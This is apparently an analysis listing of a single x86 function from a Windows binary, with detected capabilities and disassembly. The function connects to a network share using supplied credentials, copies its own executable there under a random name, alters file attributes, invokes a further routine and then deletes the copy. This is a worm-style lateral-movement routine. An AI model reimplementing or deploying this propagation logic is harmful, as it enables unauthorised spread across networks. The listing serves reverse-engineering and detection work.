Function at 0x408653
Capabilities:
Check if file exists
Connect network resource
Copy file
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
mov dword [ebp - 0x53c], 0x403e28
push 0x20
push 0
lea eax, [ebp - 0x120]
push eax
call fcn.00409890
add esp, 0xc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x11c], 1
and dword [ebp - 0x110], 0
and dword [ebp - 0x104], 0
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
lea eax, [ebp - 0x120]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0
je 0x4086d8
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 1
push dword [ebp + 0x10]
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x408923
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
push 0x403e30
lea eax, [ebp - 0x100]
push eax
call fcn.00409ca4
add esp, 0x1c
push 0x104
lea eax, [ebp - 0x32c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
and dword [ebp - 0x538], 0
lea eax, [ebp - 0x100]
push eax
push dword [ebp - 0x53c]
push dword [ebp + 0x10]
push 0x403e48
lea eax, [ebp - 0x224]
push eax
call fcn.00409ca4
add esp, 0x14
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x408792
push 0x80
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0
je 0x4087bc
jmp 0x40887d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40887d
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.0040a8ff
pop ecx
pop ecx
test eax, eax
jne 0x40887d
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
call fcn.00409bf8
cdq
push 9
pop ecx
idiv ecx
push edx
push 0x403e54
lea eax, [ebp - 0x100]
push eax
call fcn.00409ca4
add esp, 0x1c
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x53c]
add eax, dword [ebp - 0x534]
movsx eax, byte [eax]
push eax
push dword [ebp + 0x10]
push 0x403e6c
lea eax, [ebp - 0x224]
push eax
call fcn.00409ca4
add esp, 0x14
push 0
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0
jne 0x408899
push 1
push 1
push dword [ebp + 0x10]
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x408923
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 0x10]
call fcn.00408514
pop ecx
pop ecx
test eax, eax
je 0x4088d7
push dword [ebp + 8]
push dword [ebp + 0x14]
push 0x403e78
push 0x403e80
call fcn.00405059
add esp, 0x10
push 1
push 1
push dword [ebp + 0x10]
call sub.MPR.dll_WNetCancelConnection2A
push 1
pop eax
jmp 0x408923
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4088fb
push 0x80
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and dword [ebp - 0x228], 0
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x228], eax
push 1
push 1
push dword [ebp + 0x10]
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
leave
ret